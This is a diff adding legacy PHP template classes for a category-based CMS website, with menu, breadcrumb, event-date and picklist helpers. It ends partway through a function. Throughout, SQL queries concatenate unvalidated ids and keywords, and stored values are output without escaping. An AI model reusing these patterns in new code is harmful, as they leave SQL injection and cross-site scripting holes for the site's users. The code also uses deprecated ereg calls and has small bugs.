+
+        /**
+         * get_template: get the template type of the bus_category
+         * @param $$type : 'cat' or 'list' 
+         * 
+         * @return void 
+         * @access public
+         **/
+       function get_template( $type )
+       {
+               $query = "select template from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               switch( $type )
+               {
+                       case "cat":
+                               switch( $data[0]['template'] )
+                               {
+                                       case "5":
+                                       case "4":       
+                                       case "2":
+                                               $this->img_align = "left";
+                                       break;
+
+                                       default:
+                                               $this->img_align = "right";
+                                               break;
+                               }
+                       break;
+
+                       case "list":
+                               switch( $data[0]['template'] )
+                               {
+                                       case "5":
+                                               $this->img_align = "right";
+                                               $this->img_alternate = 0;
+                                       break;
+                                       case "4":       
+                                               $this->img_align = "right";
+                                               $this->img_alternate = 1;
+                                       break;
+
+                                       case "3":       
+                                               $this->img_align = "left";
+                                               $this->img_alternate = 1;
+                                       break;
+
+                                       case "2":
+                                               $this->img_align = "left";
+                                               $this->img_alternate = 0;
+                                       break;
+
+                                       case "1":       
+                                               $this->img_align = "right";
+                                               $this->img_alternate = 0;
+                                       break;
+
+                                       default:
+                                               break;
+                               }
+                       break;
+               }
+               return( $this->template = $data[0]['template'] );
+       }       
+       /**
+       * template_parser:This function creates data 
+       * and items arrays and does the output for the page.
+       * 
+       * @return void
+       * @access 
+       **/
+       function get_listings()
+       {
+               // grab category and items into data and items respectfully
+               if( DELUXE_TOOLBOX )
+               {
+                       $this->get_template( "list" );
+               }
+               
+               if( !is_array( $this->items ) )
+               {
+                       $this->get_all( 2 );
+               }
+
+               // load any static category page from the static directory 
+               // hard codded content would have $catid.phtml page for it
+               $output .= $this->load_static_page();
+               switch($this->type)
+               {
+
+                       default:        
+                       if(is_array($this->items))
+                       {
+                               foreach($this->items as $key=>$val)
+                               {
+                                       // items can be moved around as needed
+                                       $output .= '<div class="listing">'."\n";
+                                       $output .= $val["image"];
+                                       $output .= $val["name"];
+                                       $output .= $val["address"];
+                                       $output .= $val["description"];
+                                       $output .= $val["contactname"];
+                                       $output .= $val["email"];
+                                       $output .= $val["phone"];
+                                       $output .= $val["fax"];
+                                       $output .= $val["url"];
+                                       $output .= $val["file"];
+                                       $output .= $val["file2"];
+                                       $output .= $val["file3"];
+                                       $output .= "</div>"."\n";
+                               }
+                       }
+                       break;
+               }
+               $output = GLM_TEMPLATE::clean_text($output);
+               return( $output );
+       }
+
+       /**
+       * sub_nav:Create a sub navigation 4 across
+       * @param $catid: The catid for the page
+       * 
+       * @return void
+       * @access 
+       **/
+       function sub_nav($catid)
+       {
+               //$catid = $this->get_top_parent($catid);
+               $query = "SELECT id,category FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";     
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $counter = 1;   
+                       foreach($data as $key=>$val)
+                       {
+                               $url = $this->get_seo_url( $val['id'] );
+                               //GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_Name( $val['id'],"bus_category",$this->DB ) );
+                               echo '<a href="'.$url.'">';
+                                       echo $val["category"];
+                                       echo '</a><br>';        
+                       }       
+               }
+       }
+
+       /**
+       * get_home_events: get events flaged as home events
+       * @param $DB: DB reference to DB obj
+
+       * 
+       * @returnvoid 
+       * @access 
+       **/
+       function get_home_events()
+       {
+               $query = "SELECT id,header,substr(descr,0,30) as descr, bdate, edate    
+               FROM event WHERE home = 't'";
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $output = '<div id="events">UPCOMING EVENTS<div id="eventsbox"> 
+                                       ';
+                       foreach($data as $key=>$value)
+                       {
+                               $id = $value['id'];
+                               $header = $value['header'];
+                               $sdate = strtotime($value['bdate']);
+                               $edate = strtotime($value['edate']);
+                               $dates = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+                               $output .= $dates;
+                               $output .= '<h3><a href="events.phtml?eventid='.$id.'">'.$header.'</a></h3>';
+                       }
+                       $output .= '</div></div>';
+                       return($output);
+               }
+               else
+               {
+                       return( '' );
+               }
+       }
+
+       /**
+       * get_event_date: make the event date human readable
+       * @param $sdate: start date
+       * @param $edate: end date
+       * @param $dateType: dateType Postgres,etc
+       * 
+       * @return string  
+       * @access 
+       **/
+       function get_event_date($sdate,$edate,$dateType)
+       {
+               switch($dateType)
+               {
+                       case "Postgres":
+                       if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$sdate,$spt))
+                       {
+                               $mon = $spt[1];
+                               $day = $spt[2];
+                               $yr = $spt[3];
+                       }
+
+                       if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$edate,$ept))
+                       {
+                               $mon2 = $ept[1];
+                               $day2 = $ept[2];
+                               $yr2 = $ept[3];
+                       }
+                       break;
+
+                       case "timestamp":
+                       $mon = date("m",$sdate);
+                       $day = date("d",$sdate);
+                       $yr = date("Y",$sdate);
+                       $mon2 = date("m",$edate);
+                       $day2 = date("d",$edate);
+                       $yr2 = date("Y",$edate);
+                       break;
+
+               }$start = mktime(0,0,0,$mon,$day,$yr);
+               $end = mktime(0,0,0,$mon2,$day2,$yr2);
+               if ($day == $day2 && $mon == $mon2 && $yr == $yr2) 
+               {
+                       $dateparam = "F jS, Y"; 
+                       $date_begin = date($dateparam, $start) ;
+                       $date_end = "";
+               }
+               elseif ($day == $day2 AND $mon == $mon2 AND $yr != $yr2) 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($day != $day2 AND $mon == $mon2 AND $yr == $yr2) 
+               {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($day != $day2 AND $mon == $mon2 AND $yr != $yr2) 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($yr == $yr2) 
+               {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               else 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+
+               return($date_begin." ".$date_end);
+       }
+
+       /**
+       * is_sub_id:Check to see if catid is sub of category
+       * @param $catid: the catid looking at 
+       * @param $category: to see if it is in category
+       * @param $DB: Db object reference
+       * 
+       * @return bool 
+       * @access 
+       **/
+       function is_sub_id($catid,$category,&$DB)
+       {
+               if($category==$catid)
+               {
+                       return(true);
+               }
+               $query = "select id,parent from bus_category where id = $catid";
+               $data = $DB->db_auto_get_data($query);
+               $parent = $data[0]['parent'];
+               if($parent == 0)
+               {
+                       return(false);
+               }
+               else
+               {
+                       return( GLM_TEMPLATE::is_sub_id($parent,$category,&$DB) );      
+               }
+       }
+
+       /**
+       * get_parent: get parent for this category
+       * @param $catid: id 
+       * @param $DB: database obj
+       * 
+       * @return int $parent
+       * @access 
+       **/
+       function get_parent($catid,&$DB)
+       {
+               $query = "SELECT parent FROM bus_category WHERE id = $catid ORDER BY pos";      
+               $data = $DB->db_auto_get_data($query);
+               return( $data[0]["parent"] );
+       }
+
+       /**
+       * get_sub_nav:
+       * @param $catid: 
+       * @param $DB: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function get_sub_nav($catid,&$DB)
+       {
+               $parentid = GLM_TEMPLATE::get_parent($catid,&$DB);
+               //echo $parentid.'<br>';
+               $query = "SELECT id,category FROM bus_category WHERE parent = $parentid ".$this->active_query." ORDER BY pos";  
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $output = '<div id="subnav">';
+                               $counter = 1;   
+                               foreach($data as $key=>$val)
+                               {
+                                       $url = $this->get_seo_url( $val['id'] );
+                                       if(GLM_TEMPLATE::is_sub_id($catid,$parentid,&$DB) && (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) || $val['id'] == $catid) )
+                                       {
+                                               $output .=  '<a class="current" href="'.$url.'">';
+                                       }
+                                       else
+                                       {
+                                               $output .=  '<a href="'.$url.'">';
+                                       }
+                                       $output .=  $val["category"];
+                                       $output .=  '</a>';     
+                                       if( GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) && GLM_TEMPLATE::has_subs($val['id'],&$DB))
+                                       {
+                                               $output .= GLM_TEMPLATE::get_sub_nav($val["id"],&$DB,$catid);
+                                       }       
+                               }       
+                               $output .= '</div>';
+                       $output = GLM_TEMPLATE::clean_text($output);
+                       echo $output;
+               }
+               return(false);
+       }
+
+       /**
+       * has_subs:
+       * @param $catid: 
+       * @param $DB: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function has_subs($catid,&$DB)
+       {
+               $query = "SELECT id FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";      
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       return(true);
+               }
+               else
+               {
+                       return(false);
+               }
+       }
+
+
+       /**
+       * get_top_parent:Get the highest level parent id (not 0 )for the category.
+       * @param $id: The catid for the page.
+       * @param $DB: obj
+       * 
+       * @return int $parent 
+       * @access 
+       **/
+       function get_top_parent($id,&$DB)
+       {
+               if( $id == 0 )
+               {
+                       return( 0 );            
+               }
+               $qs = "select parent from bus_category where id = $id";
+               $parentrow = $DB->db_auto_get_data( $qs );        
+               if($parentrow[0]['parent'] == 0)
+               {
+                       return($id);
+               }
+               else
+               {
+                       return( GLM_TEMPLATE::get_top_parent($parentrow[0]['parent'],&$DB) );
+               }
+       }
+
+       /**
+       * show_catimg:output the category image.
+       * @param $catid: The catid for the page.
+       * 
+       * @return void 
+       * @access 
+       **/
+       function show_catimg($catid)
+       {
+               $query = "SELECT image FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0]["image"]!="")
+               {
+                       $img = '<img src="'.MIDSIZED.$data[0]["image"].'" border="0" vspace="30" hspace="0">';
+               }
+               else
+               {
+                       $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+               }
+               echo $img;
+               echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+       }
+
+
+       /**
+       * get_catheader:output the category name.
+       * @param $catid: The catid for the page
+       * @param $DB: db obj 
+       * 
+       * @return void 
+       * @access 
+       **/
+       function get_catheader($catid,$DB)
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $DB->db_auto_get_data($query);
+               if($data[0]['category']!="")
+               {
+                       $header = strip_tags($data[0]['category']);
+               }
+               else
+               {
+                       $header = '';
+               }
+               return( $header );
+       }
+       
+               /**
+       * get_catintro: return the category page name.
+       * @param $catid: The catid for the page
+       * @param $DB: db obj 
+       * 
+       * @return void 
+       * @access 
+       **/
+       function get_catintro($catid)
+       {
+               $query = "SELECT intro FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0]['intro']!="")
+               {
+                       $header = strip_tags($data[0]['intro']);
+               }
+               else
+               {
+                       $header = '';
+               }
+               return( $header );
+       }
+
+       /**
+       * show_catheader:
+       * @param $catid: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function show_catheader($catid)
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0][category]!="")
+               {
+                       $header = $data[0][category];
+               }
+               else
+               {
+                       $header = '&nbsp;';
+               }
+               echo $header;
+       }
+
+       /**
+       * get_menu_string:get categories for the phplayermenu
+       * 
+       * @return string 
+       * @access 
+       **/
+       function get_menu_string()
+       {
+               $query = "SELECT id,parent,category FROM bus_category ORDER BY parent,pos";
+               $data = $this->DB->db_auto_get_data($query);
+               $newdata = GLM_TEMPLATE::sort_childs($data);
+               $string = GLM_TEMPLATE::convert_to_thread($newdata,$newdata[0]);
+               return($string);
+       }
+       
+       function get_menu_array()
+       {
+               $query = "SELECT id,parent,category FROM bus_category WHERE active='t' ORDER BY parent,pos";
+               $data = $this->DB->db_auto_get_data($query);
+               $newdata = GLM_TEMPLATE::sort_childs($data);
+               return $newdata;
+       }
+
+       /**
+       * sort_childs:
+       * @param $threads: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function sort_childs($threads)
+       {
+               foreach($threads as $var=>$value)
+               {
+                       $childs[$value["parent"]][$value["id"]] = $value;
+               }
+               return($childs);
+       }
+
+       /**
+       * convert_to_thread:
+       * @param $threads: 
+       * @param $thread: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function convert_to_thread($threads, $thread)
+       {    
+               foreach($thread as $parent=>$value)
+               {
+                       $this->whole_thread .= str_repeat(".",$this->thread_count);
+                       $this->whole_thread .= "|".$value[category];
+                       $url = $this->get_seo_url( $value['id'] );
+                       $this->whole_thread .= "|".$url;
+                       $this->whole_thread .="\n";
+                       if($threads[$parent])
+                       {       
+                               $this->thread_count++;
+                               GLM_TEMPLATE::convert_to_thread($threads, $threads[$parent]);
+                       }
+               }
+               $this->thread_count--;
+               return $this->whole_thread;
+       }
+
+       function has_children($catid)
+       {
+               // returns number of children that $catid has
+               $qs="SELECT count(*) FROM bus_category WHERE parent=$catid";
+               $row=$this->DB->db_auto_get_data($qs);
+               return $row[0]['count'];
+       }
+       
+       /**
+       * get_ancesters:get the ancesters for this category
+       * @param $catid: catid
+       * @param $count: starting counter
+       * 
+       * @return array 
+       * @access 
+       **/
+       function get_ancesters($catid,$count)
+       {
+               if($catid)
+               {
+                       $query = "SELECT        id,category,parent 
+                       FROM    bus_category
+                       WHERE   id = ".$catid."
+                       ".$this->active_query;
+                       $res = $this->DB->db_auto_get_data($query);
+                       $id = $res[0]['id'];
+                       $parent = $res[0]['parent'];
+                       $category = $res[0]['category'];
+                       $this->ancesters[$count]['id'] = $id;
+                       $this->ancesters[$count]['label'] = $category;
+
+                       $url = $this->get_seo_url( $id ); 
+                       $this->ancesters[$count]['link'] = $url;
+                       GLM_TEMPLATE::get_ancesters($parent,$count+1,$conn);
+
+                       return (array_reverse($this->ancesters) );
+               }
+       }
+       function meta_tags()
+       {
+               $query = "select description from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               $description = substr( strip_tags( $data[0]['description'] ), 0, 100 );
+               return( $description );
+       }
+       
+       function title()
+       {
+               $query = "select category,intro from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               if( $data[0]['intro'] ) 
+               {
+                       $title = strip_tags( $data[0]['intro'] );
+               }       
+               else
+               {
+                       $title = strip_tags( $data[0]['category'] );
+               }
+               return( $title.' - ' );
+       }
+       
+       function get_bottom_nav($parent=0)
+       {
+               $return='';
+               $qs="SELECT id, category FROM bus_category WHERE id != 1 and parent=$parent ORDER BY pos ASC";
+               $row=$this->DB->db_auto_get_data($qs);
+               if( $GLOBALS['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com' )
+               {
+                       $links[] = '<a href="'.BASE_URL.'">Home</a>';
+               }
+               else
+               {
+                       $links[] = '<a href="'.BASE_URL.'index.phtml">Home</a>';
+               }
+               if( !is_array( $row ) )
+               {
+                       return FALSE;
+               }
+               else
+               {
+                       for( $i=0; $i<sizeof( $row ); $i++)
+                       {
+                               $url = $this->get_seo_url( $row[$i]['id'] );
+                               $links[] = '<a href="'.$url.'">'.$row[$i]['category']."</a>\n";
+                       }
+                       if( is_array( $links) )
+                       {
+                               $return = implode(" | ",$links);
+                       }
+                       return $return;
+               }
+       }
+       
+
+       /**
+        * make_ul_menu: create url list of categories
+        * @param $parent: parent to start from 
+        * @param $$url='': page to go to
+        * @param $$catid=0: 
+        * 
+        * @return 
+        * @access 
+        **/
+       function make_ul_menu( $parent = 0 )
+       {
+               $qs = "SELECT id,category FROM bus_category WHERE parent=$parent AND active='t' ORDER BY pos";
+               $data = $this->DB->db_auto_get_data($qs);
+               if(!is_array($data))
+               {
+                       return( false );
+               }
+               else
+               {
+                       foreach( $data as $key => $row )
+                       {
+                               $url = $this->get_seo_url( $row['id'] );
+                               $return.="<li>".'<a href="'.$url.'"';
+                               if( $this->catid == $row['id'] )        
+                               {
+                                       $return .= ' id="current"';
+                               }
+                               $return .= '>'.$row['category']."</a>";
+                       if( !$GLOBALS['non_active'] && $this->has_subs( $row['id'], &$this->DB ) &&
+                       ( $this->is_sub_id( $this->catid, $row['id'], &$this->DB )  || $this->catid == $row['id'] ) )
+                               {
+                                       $ret2 = $this->make_ul_menu( $row['id'] );
+                                       $return.=$ret2;
+                                       $return.="";
+                               }
+                       $return .= '</li>';
+                       }
+                       
+                       if( $parent == 0 )
+                       {
+                               return '<ul id="navlist">'.$return."</ul>";
+                       }
+                       else
+                       {
+                               return '<ul>'.$return."</ul>\n";
+                       }
+               }
+       }       
+       function make_custom_menu($parent,$url='',$onhome=0)
+       {
+               $url==''?$url=$_SERVER['PHP_SELF']:'';
+               //$url=BASE_URL;
+               if($onhome==1)
+               {
+                       //$opt="AND onhome='t' ";
+                       $qs="SELECT id,category,image FROM bus_category WHERE onhome='t' AND active='t' ORDER BY homepos ASC";
+               }else
+               {
+                       $qs="SELECT id,category,image FROM bus_category WHERE parent=$parent $opt AND active='t' ORDER BY pos";
+               }
+               
+               $row=$this->DB->db_auto_get_data($qs);
+               if(!is_array($row))
+               {
+                       return FALSE;
+               }else
+               {
+                       $z=1; // used to find the 3rd image
+               for($i=0;$i<sizeof($row);$i++)
+               {
+                       if($z==3)
+                       {
+                               $z=1;
+                               $brtag='<br clear="all">';
+                       }else
+                       {
+                               $brtag='';
+                               $z++;
+                       }
+                       $url = $this->get_seo_url( $row[$i]['id'] );
+                       $return.='<div class="products"><a href="'.$url.'"class="text">'.$row[$i]['category'].'</a>'."\n".'<a href="'.URL_BASE.$p.$category.'"class="image">';
+                       if($row[$i][image]!='')
+                       {
+                               $return.='<img src="'.THUMB.$row[$i][image].'">';
+                       }
+                       
+                       $return.='</a>'."</div>$brtag\n";
+               }
+                       return $return;
+               }
+       }
+       
+       /**
+       * print_ancesters:print out the ancesters
+       * @param $catid: the id to start at.
+       * 
+       * @return 
+       * @access 
+       **/
+       function print_ancesters($catid)
+        {
+                $string = GLM_TEMPLATE::get_ancesters($catid,0);
+                if(is_array($string))
+                {
+                        if(count($string) > 1)
+                                               {
+                                                       $url = $this->get_seo_url( 1 );
+                                                       $outarray[] = '<a href="'.$url.'">Home</a>';
+                                               }       
+                        for($i=0;$i<$end;$i++)
+                        {
+                                                       $outarray[] = '<a href="'.BASE_URL.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+                        }
+                                               $outarray[] = $this->get_catheader( $catid, &$this->DB );
+                        if( is_array( $outarray ) && count( $outarray ) > 1 )
+                        {
+                                $out .= implode( " <b>&raquo;</b> ", $outarray );
+                        }
+                }
+                return( '<div id="breadcrumbs">'.$out.'</div>' );
+        }
+
+       /**
+       * build_picklist:
+       * @param $fieldname: 
+       * @param $data: 
+       * @param $selected: 
+       * @param $$type = "standard": 
+       * @param $$auto = 0: 
+       * @param $$width = NULL : 
+       * 
+       * @return 
+       * @access 
+       **/
+       function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+       {
+               if(!is_array($selected))
+               {
+                       $sel[0] = $selected;
+               }
+               else
+               {
+                       $sel = $selected;
+               }
+               if($auto == 1)
+               {
+                       $autosubmit = "onChange=\"form.submit()\"";
+               }
+               if($width)
+               {
+                       $autosubmit .= "style=\"width:".$width."px;\"";
+               }
+               switch( $type )
+               {
+                       case "multiple":
+                       $str = "<SELECT id=\"".$fieldname."\" NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       if( in_array($key,$sel) )
+                                       {
+                                               $select = " SELECTED ";
+                                       }
+                                       else
+                                       {
+                                               $select = "";
+                                       }
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+                       case "simple":
+                       $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               for( $i=0 ; $i<count($data) ; $i++ ) 
+                               {
+                                       $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                               }
+                               break;
+
+                               case "standard":
+                       default:
+                       $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       $select = (in_array($key,$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                       break;
+                       }
+                       $str .= "</SELECT>\n";
+               return( $str );
+       }
+
+       /**
+       * keyword_replace:
+       * @param $string: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function keyword_replace($string)
+       {
+               //return($string);
+               $page = "main.phtml";
+               if($search = strstr($string,"{"))
+               {
+                       if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+                       {
+                               if($needle[0] != "")
+                               {               
+                                       $qs = "SELECT   id,category
+                                       FROM            bus_category
+                                       WHERE   trim(keyword) = '".trim($needle[1])."'";
+
+                                       $keyres = $this->DB->db_auto_get_data($qs);                                     
+                                       $parent = $this->get_top_parent($keyres[0]['id'],&$this->DB);
+                                       $url = $this->get_seo_url( $keyres[0]['id'] );
+                                       $replacement = "<a href=\"".$url."\">".$keyres[0]['category']."</a>";
+                                       $string = str_replace($needle[0],$replacement,$string);
+                               }
+                       }               
+                       else{
+                               return($string);
+                       }
+                       if($search = strstr($string,"{"))
+                       return($this->keyword_replace($string));
+               }       
+               return($string);        
+       }
+       /**
+       * getIdFromName:
+       * @param $name: 
+       * @param $table: 
+       * @param $DB: 
+       * 
+       * @return 
+       * @access 
+       **/
+       function get_id_from_name( $name, $table, &$DB)
+       {
+               if( $name == "" )
+               {
+                       return( 0 );
+               }
+               if( is_numeric( $name ) )
+               {
+                       return( $name );
+               }
+               if( ereg("(.*)/$",$name,$tmp) )
+               {
+                       $name = $tmp[1];
+               }
+               $category = "category";
+               if( ereg("-([0-9]*)$",$name,$tmp ) )
+               {
+                       $id = $tmp[1];
+                       return( $id );
+               }
+               // should already be returning id at this point 
+               // putting the _id on the end of all url's as 
+               // the other way is very inifiecent for the database.
+               $name = str_replace( "-"," ",$name );
+               $query = "select id from $table where trim(lower(replace(replace(replace(replace(replace(replace($category,'\'',''),'/',''),'-',' '),'#',''),'&',''),'?',''))) = '".trim(strtolower($name))."'";
+               $data = $DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       foreach( $data as $key=>$val )
+                       {
+                               $catid = $val['id'];
+                       }
+                       return( $catid );
+               }
+               else
+               {
+                       return( 0 );
+               }
+       }
+
+       function get_base_url( $id )
+       {
+               if( $this->pages[$id] )
+               {
+                       $page = $this->pages[$id];
+               }
+               else
+               {
+                       $page = $this->pages['default'];
+               }
+               if( $GLOBALS['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com' && $id == 1 )
+               {
+                       $page = '';
+               }
+               return( $page );
+       }
+
+       /**
+       * getCategoryName:
+       * @param $id: 
+       * @param $table: 
+       * @param $&$DB : 
+       * 
+       * @return 
+       * @access 
+       **/
+       function get_category_name( $id, $table,&$DB )
+       {
+               if( !is_numeric( $id ) )
+               {
+                       return( false );
+               }
+               if($table == "class_category")
+               {
+                       $category = "name";
+               }
+               else
+               {
+                       $category = "category";
+               }
+               $query = "select $category from $table where id = $id";
+               $data = $DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+
+                       $add = '-'.$id;
+                       if( $data[0]['category'] ) 
+                       {
+                               $category = $data[0]['category'].$add;
+                       }
+                       elseif( $data[0]['name'])
+                       {
+                               $category = $data[0]['name'].$add;
+                       }
+                       else
+                       {
+                               $category = $add; 
+                       }
+                       return( $category );
+               }
+       }
+
+
+       /**
+       * setNameUrl:
+       * @param $$name : 
+       * 
+       * @return 
+       * @access 
+       **/
+       function set_name_url( $name )
+       {
+               $name = strtolower( trim( str_replace( " ","-",$name ) ) );
+               $name = str_replace( "/","",$name );
+               $name = str_replace( "#","",$name );
+               $name = str_replace( "&","",$name );
+               $name = str_replace( "?","",$name );
+               $name = str_replace( "'","",$name );
+               return( $name );
+       }
+
+       /**  valid email
+       Checks for a valid format and good (mx check) 
+       email address.
+       @param string email the email address as string.
+       @return boolean 
+       */ 
+       function valid_email ($email) { 
+               if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$", $email, $check)) { 
+                       if ( getmxrr(substr(strstr($check[0], '@'), 1), $validate_email_temp) ) { 
+                               return TRUE; 
+                       } 
+               } 
+               return FALSE; 
+       }
+}
+?>
diff --git a/classes/class_template.mshp.inc b/classes/class_template.mshp.inc
new file mode 100755 (executable)
index 0000000..0e871c9
--- /dev/null
@@ -0,0 +1,2300 @@
+<?php
+// $Id: class_template.mshp.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+require_once(BASE."classes/class_db.inc");
+class GLM_TEMPLATE{
+
+       /** @var header_begin The style starting for header */
+       var $header_begin;
+       /** @var header_end The style ending for header*/
+       var $header_end;
+       /** @var subheader_begin The style starting for header */
+       var $subheader_begin;
+       /** @var subheader_end The style ending for header*/
+       var $subheader_end;
+       /** @var img_align The alignment of images*/
+       var $img_align;
+       /** @var img_alternate 1 alternate images 0 not*/
+       var $img_alternate;
+       /** @var img_size The path to the image directory*/
+       var $img_size;
+       /** @var DB The database class*/
+       var $DB;
+       /** @var data The category array*/
+       var $data;
+       /** @var items The items array*/
+       var $items;
+       /** @var type The type*/
+       var $type;      
+       /** @var whole_thread The thread string*/
+       var $whole_thread;
+       /** @var thread_count The thread count*/
+       var $thread_count;
+       /** @var catid  catid for te page */
+       var $catid;
+       /** @var array $pages for base page name */
+       var $pages;
+       /** @var array $parks the id's that are parks */
+       var $parks;
+       /** @var array $news the id's that have news */
+       var $news;
+       /** @var array maps */
+       var $maps;
+       /** @var array tours */
+       var $tours;
+       /**
+       * GLM_TEMPLATE:Contsructor of the class
+       * This function is run on intialization.
+       * Any setup vars should be overwritten by creating a new class
+       * that extends this one and setting new vars in the constructor.
+       *
+       * @param $catid: catid Must be set
+       * 
+       * @return void 
+       * @access 
+       **/
+       function GLM_TEMPLATE( $catid, $DB = NULL )
+       {
+               $this->set_catid( $catid );
+//             $this->set_id( $id );
+               $this->set_DB( $DB );
+               $this->header_begin = "<h1>";   // class="content" should not be used anymore 
+               $this->header_end = "</h1>";            // create style for p h1 h2 tags if needed try to keep it clean
+               $this->subheader_begin = "<h2>";        // should not be using h3 here duh go from 1 to 2 instead
+               $this->subheader_end = "</h2>"; // like your suppose to
+               $this->img_alternate = 0;               // for alternating images set to 1 else leave alone
+               $this->img_align = "";                  // the starting postion for images change to left if needed
+               $this->img_size = RESIZED;              // img_size are RESIZED,MIDSIZED,THUMB do not use ORIGINAL
+               $this->whole_thread = "";               // do not touch this it is used for menu generation
+               $this->thread_count = 1;                        // also used for menu generation
+               $this->set_pages( $GLOBALS['PAGES'] );
+               $this->set_parks();
+               $this->set_news();
+               $this->set_park_maps();
+               $this->set_park_tours();
+       }
+
+       /**
+        * set_park_maps: create array with links tot the maps pages.
+        * 
+        * @return void
+        * @access 
+        **/
+       function set_park_maps()
+       {
+               $maps[6] = 143;
+               $maps[7] = 144;
+               $maps[8] = 145;
+               $maps[9] = 146;
+               $maps[10] = 147;
+               $maps[11] = 148;
+               $this->maps =& $maps;
+       }
+
+       function meta_tags()
+       {
+               $query = "select description from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               $description = substr( strip_tags( $data[0]['description'] ), 0, 50 );
+               return( $description );
+       }
+
+       function title()
+       {
+               $query = "select category,intro from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               if( $data[0]['intro'] ) 
+               {
+                       $title = strip_tags( $data[0]['intro'] );
+               }       
+               else
+               {
+                       $title = strip_tags( $data[0]['category'] );
+               }
+               return( $title.' - ' );
+       }
+       
+       function set_park_tours()
+       {
+               $tours[6] = 'http://vm.mackinacparks.com/index.php?category=1';
+               $tours[7] = 'http://vm.mackinacparks.com/index.php?category=4';
+               $tours[8] = 'http://vm.mackinacparks.com/index.php?category=2';
+               $tours[9] = 'http://vm.mackinacparks.com/index.php?category=3';
+               $tours[10] = 'http://vm.mackinacparks.com/index.php?category=6';
+               $tours[11] = 'http://vm.mackinacparks.com/index.php?category=5';
+               $this->tours =& $tours;
+       }
+
+       /**
+        * set_news:
+        * 
+        * @return 
+        * @access 
+        **/
+       function set_news()
+       {
+               $news[77] = 2;
+               $news[78] = 3;
+               $news[17] = 1;
+               $news[80] = 4;
+               $news[93] = 6;
+               $news[84] = 5;
+               $news[6] = 9;
+               $news[7] = 10;
+               $news[8] = 11;
+               $news[9] = 12;
+               $news[10] = 13;
+               $news[11] = 14;
+
+               $this->news =& $news;
+       }
+
+       /**
+        * under_parks:
+        * @param $$id : 
+        * 
+        * @return 
+        * @access 
+        **/
+       function under_parks( $id )
+       {
+               foreach( $this->parks as $k => $park )
+               {
+                       if( $this->is_sub_id( $id, $park, $this->DB ) )
+                       {
+                               return( $park );
+                       }
+               }
+               return( false );
+       }
+       
+       /**
+          * in_parks: check to see if the id is in the parks
+          * @param $$id : the id of the bus_category
+          * 
